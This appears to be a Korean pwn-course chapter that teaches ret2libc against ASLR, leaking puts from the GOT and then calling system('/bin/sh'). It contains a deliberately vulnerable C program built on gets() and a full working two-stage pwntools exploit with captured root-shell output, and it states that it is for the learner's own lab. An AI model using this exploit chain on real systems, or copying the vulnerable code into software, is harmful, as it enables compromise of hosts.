Step 207. ret2libc: libc 주소 leak과 ASLR 우회 — 매번 바뀌는 주소를 추적한다

Step 207. ret2libc: libc 주소 leak과 ASLR 우회 — 매번 바뀌는 주소를 추적한다

Level 3 — Pwn 트랙 | 난이도 ★★★★★ | 예상 소요 시간 6시간

전제: Step 204~206을 마쳤다. ROP 체인으로 system("/bin/sh")을 호출해 봤고, PLT가 고정 관문임을 안다. Step 187의 ASLR 개념을 기억한다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

  • 준비물: WSL 우분투 터미널, gcc, gdb, ROPgadget, pwntools. 실측 환경은 Ubuntu 24.04, glibc 2.39-0ubuntu8.8, pwntools 4.15.0입니다.
  • 주의: 오늘의 기법은 ASLR이 켜진 실전 환경의 표준 공격입니다. 대상은 여러분이 직접 컴파일한 실험 바이너리뿐이며, 시스템의 ASLR 전역 설정은 건드리지 않습니다.

Step 206의 공격에는 공짜가 하나 있었습니다. system@plt라는 고정 관문. 그런데 libc의 진짜 함수들 — system, 그리고 "/bin/sh" 문자열 — 은 ASLR 때문에 실행할 때마다 다른 주소에 실립니다. 오늘 우리는 그 미끄러지는 주소를 프로그램 스스로에게 알려 달라고 시키는 기술을 배웁니다. 유출(leak)하고, 계산하고, 두 번 치는 2단 익스플로잇. Pwn 트랙의 절정입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • ASLR이 libc 주소를 어떻게 바꾸는지 ldd 실측으로 증명한다
  • GOT에 "이미 호출된 함수의 실제 libc 주소"가 적혀 있음을 설명한다
  • puts(puts@got) 체인으로 libc 주소 하나를 유출한다
  • leak - 오프셋 = libc 베이스 계산으로 system과 "/bin/sh"의 실주소를 구한다
  • main으로 되돌아가는 1단계 + 계산된 주소로 치는 2단계의 완전한 ret2libc를 완성한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C 언어 + 파이썬(pwntools), WSL 우분투 bash, glibc 2.39 (x86-64, ASLR 켜짐)
오늘의 명령어·API ldd ./대상(로드 주소 관찰), objdump -R ./대상(GOT 목록), u64(...)(유출값 해석), libc.symbols[]·libc.search()(오프셋 계산), ljust(8, b'\x00')(6바이트 패딩)
필요한 개념 ASLR, GOT/지연 바인딩, libc 베이스와 오프셋, 2단계 익스플로잇

2-1. ASLR — 실행할 때마다 이사하는 라이브러리

ASLR(Address Space Layout Randomization) 은 프로그램이 실행될 때마다 스택·힙·라이브러리의 주소를 무작위로 섞는 방어입니다 (Step 187). 우리에게 치명적인 대상은 libc입니다. system의 주소도, "/bin/sh"의 주소도 실행마다 바뀝니다.

다만 세부 규칙이 우리의 길을 열어 줍니다. ① libc는 통째로 한 덩어리로 이동합니다 — 내부 함수들 사이의 거리(오프셋)는 불변입니다. ② 이 바이너리는 -no-pie라 PLT/GOT의 주소는 고정입니다. ③ 프로그램이 이미 부른 함수의 실제 주소는 GOT에 기록돼 있습니다. 이 셋을 엮으면: GOT에서 주소 하나를 훔쳐 읽고(leak), 거기서 오프셋만큼 빼면 libc 덩어리의 시작(베이스)이 나오고, 베이스에 system까지의 오프셋을 더하면 그 실행에서의 진짜 주소입니다.

2-2. GOT와 지연 바인딩 — 주소가 적히는 게시판

바이너리가 libc 함수(puts 등)를 부를 때, 코드는 PLT라는 관문으로 갑니다. PLT는 GOT(Global Offset Table) 라는 표에 적힌 주소로 점프합니다. 그리고 리눅스의 기본 동작(지연 바인딩)에서는, 함수가 처음 실제로 호출되고 난 뒤 GOT 칸에 그 실행에서의 진짜 libc 주소가 기록됩니다.

핵심은 이것입니다. GOT의 주소는 고정(0x404000 같은)인데, 그 내용물은 그 실행의 실제 libc 주소입니다. 그러니 puts(puts의 GOT 주소)를 ROP로 호출하면 — puts에게 "네 주소표에 적힌 너의 진짜 주소를 출력해"라고 시키는 셈이라 — 화면에 libc 주소가 인쇄됩니다. 프로그램이 자기 발등을 스스로 찍어 줍니다.

2-3. 오프셋 계산 — 베이스를 구하는 산수

glibc 2.39(이 실측 환경)에서 파일 안 오프셋은 이렇습니다.

심볼 오프셋 (실측값)
puts 0x87cc0
system 0x58750
"/bin/sh" 문자열 0x1cb42f

유출한 puts의 실주소에서 0x87cc0을 빼면 libc 베이스, 거기에 0x58750을 더하면 그 실행의 system입니다. 주의: 이 오프셋들은 libc 버전에 따라 다릅니다. 원격 서버의 libc가 다르면 이 숫자들은 쓸모없고, 유출한 주소 두 개로 libc 버전을 특정하는 데이터베이스(libc.rip 등)를 씁니다. 오늘은 로컬이라 우리 libc 파일을 직접 열어 계산합니다.

2-4. 2단계 익스플로잇 — 되돌아가서 다시 친다

문제가 하나 있습니다. 1단계 체인이 puts를 부른 뒤 프로그램은 어디로 가야 할까요? 그대로 죽으면 계산할 시간이 없습니다. 답은 main으로 돌아가는 것입니다. 체인의 마지막을 main 주소로 쌓으면, 유출 출력이 나온 뒤 프로그램이 처음부터 다시 실행되고, 우리는 두 번째 입력 기회를 얻습니다. 그때 계산된 주소들로 완성 체인을 흘려보냅니다.

[1단계] 패딩 + pop rdi + puts@got + puts@plt + ret + main
        → 화면에 puts의 실주소 출력 → 우리가 계산
[2단계] 패딩 + pop rdi + (base + /bin/sh) + ret + ret + (base + system)
        → 쉘

3. 따라 하기

3-1. 표적 제작 — puts를 쓰는 취약 프로그램

입력 (vuln207.c)

#include <stdio.h>

/* 가젯 공급 함수 */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdi\n\t"
        "ret\n"
    );
}

void vuln(void) {
    char buf[32];
    puts("=== ret2libc 랩 ===");
    printf("입력: ");
    fflush(stdout);
    gets(buf);
    printf("받은 값: %s\n", buf);
    fflush(stdout);
}

int main(void) {
    vuln();
    puts("정상 종료");
    return 0;
}

읽는 법: puts를 실제로 부릅니다(배너 출력) — 그래서 puts의 GOT 칸에 실주소가 기록됩니다. 이것이 유출의 재료입니다.

cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -no-pie vuln207.c -o vuln207

이번에도 NX는 켜져 있고, ASLR은 시스템 기본값(켜짐) 그대로 둡니다. 꺼서 하는 실험이 아니라, 켜진 상태를 뚫는 것이 오늘의 주제이기 때문입니다.

3-2. ASLR 증명 — 같은 바이너리, 다른 주소

공격 전에, 먼저 벽을 확인합니다.

ldd ./vuln207 | grep libc
ldd ./vuln207 | grep libc
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000782f9d000000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000700e95c00000)

(2026-09-09 실측.)

출력 읽는 법: 같은 명령 두 번에 libc의 로드 주소가 다릅니다 (0x782f… 와 0x700e…). system의 주소도 매번 이 값에 따라 바뀝니다. 고정 주소 공격은 여기서 끝납니다. 그래서 필요한 것이 실행 중에 주소를 훔쳐 읽는 기술입니다.

3-3. GOT 관찰 — 게시판에 실제로 적혀 있는가

objdump -R ./vuln207 | grep puts
0000000000404000 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
(gdb) b vuln
(gdb) r
(gdb) x/gx 0x404000
0x404000 <puts@got.plt>:	0x00007ffff7c87cc0
(gdb) info symbol *(long*)0x404000
puts in section .text of /lib/x86_64-linux-gnu/libc.so.6

(2026-09-09 실측. gdb는 기본적으로 ASLR을 꺼서 주소가 0x7ffff7c… 꼴로 고정돼 보입니다 — 실제 실행에서는 매번 달라집니다.)

출력 읽는 법: 고정 주소 0x404000(GOT)에 0x7ffff7c87cc0이 적혀 있고, gdb가 그것이 libc의 puts라고 확인해 줍니다. 게시판 이론의 실물 확인입니다. 이 칸의 내용을 화면에 인쇄시키는 것이 1단계입니다.

3-4. ★ 전체 익스플로잇 — 두 번 치는 스크립트

입력 (exploit207.py)

#!/usr/bin/env python3
from pwn import *

e = ELF('/root/lab204_208/vuln207')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = e

pop_rdi  = 0x40119e     # ROPgadget 결과
ret      = 0x40101a     # 스택 정렬용
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main     = e.symbols['main']

print(f"[*] puts@plt = {hex(puts_plt)}, puts@got = {hex(puts_got)}, main = {hex(main)}")

p = process('/root/lab204_208/vuln207')

# --- 1단계: puts(puts@got)로 libc 안의 puts 실주소를 출력시킨다 ---
p.recvuntil('입력: '.encode())
stage1 = b'A' * 40
stage1 += p64(pop_rdi)
stage1 += p64(puts_got)
stage1 += p64(puts_plt)
stage1 += p64(ret)      # 정렬
stage1 += p64(main)     # 처음으로 되돌아가기
p.sendline(stage1)

p.recvuntil('받은 값: '.encode())
p.recvline()                                # 입력 에코 잔여 소비
line = p.recvline().rstrip()                # puts가 출력한 6바이트 = leak
print("[*] leak raw:", line)
leak = u64(line.ljust(8, b'\x00'))
print(f"[*] puts 실주소 (실행마다 바뀜) = {hex(leak)}")

libc_base = leak - libc.symbols['puts']
print(f"[*] libc base = {hex(libc_base)}")

system = libc_base + libc.symbols['system']
binsh  = libc_base + next(libc.search(b'/bin/sh\x00'))
print(f"[*] system = {hex(system)}, /bin/sh = {hex(binsh)}")

# --- 2단계: 계산된 주소로 system("/bin/sh") ---
# 되돌아온 스택은 정렬이 달라져 ret를 두 개 끼웠다 (6절 벽 3 실측 참조)
p.recvuntil('입력: '.encode())
stage2 = b'A' * 40
stage2 += p64(pop_rdi)
stage2 += p64(binsh)
stage2 += p64(ret)
stage2 += p64(ret)
stage2 += p64(system)
p.sendline(stage2)
p.sendline(b'id; echo LIBC_PWNED')
print(p.recvall(timeout=3).decode(errors='replace'))

실행

/root/lab188/venv/bin/python3 exploit207.py
[*] puts@plt = 0x401074, puts@got = 0x404000, main = 0x40121f
[+] Starting local process '/root/lab204_208/vuln207': pid 624
[*] leak raw: b'\xc0|\xa89\xd5q'
[*] puts 실주소 (실행마다 바뀜) = 0x71d539a87cc0
[*] libc base = 0x71d539a00000
[*] system = 0x71d539a58750, /bin/sh = 0x71d539bcb42f
받은 값: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
uid=0(root) gid=0(root) groups=0(root)
LIBC_PWNED

(2026-09-09 실측. 같은 스크립트를 네 번 실행해 네 번 다른 주소 — 0x71d5…, 0x7a92…, 0x7daf…, 0x7ee1… — 로 모두 성공했습니다.)

출력 읽는 법: 한 줄씩 뜯어봅시다.

  • leak raw: b'\xc0|\xa89\xd5q' — puts(puts@got)가 인쇄한 6바이트 날것입니다. 사람이 읽을 수 없는 바이트이므로 u64로 숫자화합니다.
  • puts 실주소 = 0x71d539a87cc0 — 이 실행에서 libc 안의 puts가 실린 진짜 주소. ASLR이 매번 바꾸는 그것을 프로그램이 스스로 알려 줬습니다.
  • libc base = 0x71d539a00000 — 0x87cc0을 뺀 값. 끝이 00000으로 깔끔합니다 (라이브러리는 페이지 단위로 실리므로). 이 깔끔함이 계산이 맞았다는 신호입니다.
  • uid=0(root) / LIBC_PWNED — 2단계 체인이 띄운 쉘의 출력. ASLR이 켜진 채로 쉘을 잡았습니다.

3-5. 산수를 손으로 검산

믿음이 아니라 검산으로 확인합시다. 오프셋은 pwntools가 libc 파일을 열어 읽은 것입니다.

puts    = base + 0x87cc0   →  0x71d539a87cc0  = 0x71d539a00000 + 0x87cc0   ✓
system  = base + 0x58750   →  0x71d539a58750  = 0x71d539a00000 + 0x58750   ✓
/bin/sh = base + 0x1cb42f  →  0x71d539bcb42f  = 0x71d539a00000 + 0x1cb42f  ✓

(2026-09-09 실측 출력의 수치로 계산.)

leak 한 개로 베이스가 나오고, 베이스 하나로 libc 안의 모든 것의 주소가 나옵니다. 이것이 "leak 하나가 왕국을 여는 열쇠"인 이유입니다.


4. 미션과 연습문제

미션 — 완전한 ret2libc 리포트

  1. vuln207.c의 buf를 char buf[24]로 바꿔 다시 컴파일한다 (패딩이 달라진다!)
  2. 재료를 전부 재수집한다: 패딩(disas), pop rdi/ret(ROPgadget), puts@plt/got/main(pwntools 또는 objdump)
  3. 익스플로잇을 수정해 2단계를 완성하고, 세 번 연속 실행해 세 번 다른 libc 베이스로 성공한 기록을 남긴다
  4. 검산 표를 만든다: leak → base → system → "/bin/sh"의 덧뺄셈 전 과정
  5. 리포트의 마지막에 답한다: ① "원격 서버라서 libc 파일을 모른다면 무엇이 문제이고 어떻게 해결하겠는가" ② "이 공격을 막는 방어를 세 가지 이상 말하라" (힌트: Step 187의 방어막들과 Full RELRO)

연습문제

문제 1. ASLR이 켜져 있어도 libc 내부의 오프셋(puts~system 거리)이 불변인 이유는 무엇인가요?

문제 2. puts(puts@got) 체인이 유출에 쓰이는 원리를, GOT에 무엇이 언제 적히는지와 함께 설명해 보세요.

문제 3. 1단계 체인의 마지막을 main으로 하는 이유는 무엇인가요? exit으로 하면 안 되나요?

문제 4. leak raw가 6바이트였는데 ljust(8, b'\x00')로 8바이트를 만들어 u64에 넣었습니다. 왜 6바이트이고 왜 채우나요?


5. 모범 답안과 완료 기준

미션 모범 답안

리포트의 예 (2026-09-09, Ubuntu 24.04, glibc 2.39 기준 — 숫자는 환경에 따라 달라집니다):

[설계] buf[24] → disas로 buf = rbp-0x18 확인, 패딩 = 0x18 + 8 = 32 바이트
[재료] pop rdi ; ret = 0x4011xx, ret = 0x40101a, puts@plt/got/main 재측정
[3회 연속 성공 기록]
  run1: leak=0x7f...87cc0  base=0x7f...00000  → uid=0(root) LIBC_PWNED
  run2: leak=0x7e...87cc0  base=0x7e...00000  → uid=0(root) LIBC_PWNED
  run3: leak=0x78...87cc0  base=0x78...00000  → uid=0(root) LIBC_PWNED
  (세 실행 모두 leak 하위 5자리가 87cc0으로 같음 — 오프셋 불변의 증거)
[검산] base + 0x58750 = system, base + 0x1cb42f = /bin/sh (각 run에 대해 성립)
[답변]
  ① 원격 libc를 모르면 오프셋을 모른다 → leak 두 개(puts와 또 하나)로
     libc 데이터베이스에서 버전을 특정해 오프셋을 얻는다
  ② gets를 쓰지 않기(넘침 차단), 카나리 켜기(덮기 탐지),
     Full RELRO(GOT를 읽기 전용으로), PIE(바이너리 주소마저 무작위화)

검증하는 법: ① 세 번의 leak 하위 자리가 같은가 — ASLR이 베이스만 바꾸고 오프셋은 유지한다는 것의 가장 깨끗한 증거입니다. ② 검산의 각 등식이 성립하는가. ③ 방어 답변에 "입력 상한"과 "GOT 보호(Full RELRO)"가 모두 있는가.

연습문제 해답

문제 1 해답. ASLR은 라이브러리를 통째로 한 덩어리로 이동시킬 뿐, 파일 안에서 함수들의 상대 배치를 바꾸지 않기 때문입니다. puts와 system의 거리는 libc.so.6 파일에 새겨진 고정값이고, 실행마다 바뀌는 것은 덩어리의 시작점(베이스)뿐입니다. 그래서 실제 주소 = 베이스 + 불변 오프셋입니다.

문제 2 해답. 지연 바인딩에서 함수는 처음 실제 호출된 뒤에야 GOT에 그 실행의 진짜 libc 주소가 기록됩니다. vuln207은 배너 출력으로 puts를 이미 불렀으므로 puts@got(고정 주소 0x404000)에 실주소가 적혀 있습니다. puts에게 인자로 puts@got을 주면, puts는 그 칸의 내용 — 자기 자신의 실주소 — 을 문자열처럼 인쇄합니다. 프로그램이 가진 정보만으로 프로그램에게 비밀을 말하게 한 것입니다.

문제 3 해답. 유출값을 받아 계산한 뒤 두 번째 오버플로우 기회가 필요하기 때문입니다. main으로 돌아가면 프로그램이 vuln을 다시 실행해 입력을 한 번 더 받습니다. exit로 끝내면 프로그램이 종료돼 2단계를 흘려보낼 대상이 사라집니다. "공격하고 살아남아 다시 공격하는" 구조가 2단 익스플로잇의 핵심입니다.

문제 4 해답. x86-64 사용자 공간 주소는 실제로 상위 2바이트가 항상 0이라, 유출 출력은 의미 있는 6바이트만 담깁니다 (0x00007f… 꼴이라 널 바이트는 문자열 출력에서 끊김을 의미). u64는 정확히 8바이트를 요구하므로, 부족한 상위 2바이트를 \x00으로 채워 원래 주소(어차피 상위가 0인)를 복원합니다. 채우지 않으면 u64가 에러를 냅니다.

완료 기준 체크리스트

  • [ ] ldd 두 번 실행으로 ASLR을 증명했다
  • [ ] GOT에 실주소가 적히는 것을 objdump와 gdb로 확인했다
  • [ ] puts(puts@got) 1단계 체인으로 libc 주소를 유출했다
  • [ ] leak – 오프셋 = 베이스 계산을 손으로 검산했다
  • [ ] 2단계 체인으로 ASLR이 켜진 채 쉘을 획득했다
  • [ ] 6바이트 leak을 ljust로 처리하는 이유를 설명할 수 있다
  • [ ] 여러 번 실행해 다른 베이스로 성공함을 확인했다
  • [ ] 미션: 재설계 표적의 3회 성공 기록과 검산 리포트를 완성했다

6. 흔한 실수와 해결

벽 1. u64 에러 — unpack requires 8 bytes

증상: u64(line)에서 길이 관련 에러가 납니다.
원인: 유출 출력이 6바이트인데 u64는 8바이트를 요구합니다. 또는 recvline이 개행까지 섞어 7바이트가 됐을 수도 있습니다.
해결: u64(line.rstrip().ljust(8, b'\x00')) — 개행을 떼고(rstrip), 널을 채워(ljust) 정확히 8바이트로 만드는 것이 표준 관용구입니다.

벽 2. 1단계는 되는데 베이스가 지저분하다

증상: 계산된 libc base의 끝자리가 000이 아닙니다.
원인: leak 해석이 틀렸습니다 — 잘못된 바이트를 읽었거나, 다른 함수의 오프셋을 뺐거나.
해결: 라이브러리는 페이지(0x1000) 단위로 실리므로 베이스는 반드시 0x…000으로 끝납니다. 지저분하면 leak 파싱을 의심하세요. debug 모드로 실제 받은 바이트를 확인하고, recvuntil/recvline이 정확히 유출 한 줄만 소비하는지 점검합니다.

벽 3. 2단계에서만 죽는다 — 정렬의 재등장

증상: 1단계 유출까지는 완벽한데 2단계에서 세그폴트 (집필 실측에서 실제로 겪었습니다).
원인: main으로 되돌아가 다시 진입한 스택은 정렬 상태가 처음과 다릅니다. 실측에서 2단계는 ret 하나(1단계와 같은 모양)로는 죽고, 두 개를 끼워야 살았습니다.
해결: Step 206의 movaps 벽과 같은 처방 — ret의 개수를 바꿔 봅니다. 0개, 1개, 2개를 차례로 시도하는 것이 실전의 정석입니다. 죽는 위치는 gdb에서 movaps인지로 확인합니다.

벽 4. 로컬 성공, 원격 실패

증상: 로컬에서는 되는데 원격 서버에서는 2단계가 죽습니다.
원인: 서버의 libc 버전이 달라 오프셋이 다릅니다. 우리의 0x87cc0/0x58750은 이 환경의 glibc 2.39 것입니다.
해결: 원격에서는 leak을 두 개(서로 다른 함수) 해서 libc 데이터베이스(libc.rip 등)에 조회해 버전을 특정하고, 그 버전의 오프셋을 씁니다. 이것이 실전 ret2libc의 표준 절차입니다.

벽 5. gdb에서는 주소가 매번 같다

증상: gdb 안에서는 leak 주소가 0x7ffff7c…로 고정돼 보입니다.
원인: gdb는 디버깅 편의를 위해 기본적으로 ASLR을 끕니다.
해결: 버그가 아니라 gdb의 기본 동작입니다. ASLR이 켜진 조건의 검증은 gdb 바깥(스크립트 직접 실행)에서 하세요. 오늘 스크립트의 네 번 다른 베이스가 그 증거입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
ASLR 실행마다 라이브러리를 통째로 옮기는 방어 — 오프셋은 불변
GOT 라이브러리 함수 실주소가 기록되는 고정 주소의 표
지연 바인딩 첫 호출 후에야 GOT에 진짜 주소가 적히는 동작
leak 프로그램에게 자기 주소를 출력시키는 기술 — ASLR의 열쇠
libc 베이스 leak – 오프셋. 이 하나로 libc 전체의 지도가 열린다
2단계 익스플로잇 main 복귀로 두 번 치는 구조 — 유출 후 완성 체인

오늘의 명령어·API

명령·코드 하는 일
ldd ./대상 libc 로드 주소 관찰 — ASLR 증명
objdump -R ./대상 GOT 항목(주소표) 목록
x/gx 0x404000 (gdb) GOT 칸의 내용 확인
u64(line.rstrip().ljust(8, b'\x00')) 6바이트 leak의 숫자화
leak - libc.symbols['puts'] libc 베이스 계산
base + libc.symbols['system'] system 실주소
base + next(libc.search(b'/bin/sh\x00')) 문자열 실주소

명령어보다 중요한 감각

오늘 공격의 본질은 기술이 아니라 발상의 전환입니다. ASLR은 "공격자가 주소를 모른다"는 방어인데, 우리는 주소를 추측하지 않고 물어봤습니다. 프로그램은 자기가 쓰는 주소를 GOT에 적어 두고 살고, 그 프로그램에게 출력의 입이 있다면 — 그 입으로 비밀을 말하게 할 수 있습니다. 방어가 숨긴 것을 공격자가 찾는 게임이 아니라, 방어 아래에서도 살아가는 프로그램 자체가 정보의 샘인 것입니다.

그리고 이 구조 — 유출, 계산, 재진입 — 은 거의 모든 현대 익스플로잇의 골격입니다. 여러분은 오늘 Pwn의 심장부에 도착했습니다. Step 186의 A 서른두 개에서 시작해, ASLR이 켜진 시스템에서 쉘을 여는 데 이르렀습니다.


전부 체크되면 Step 207 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.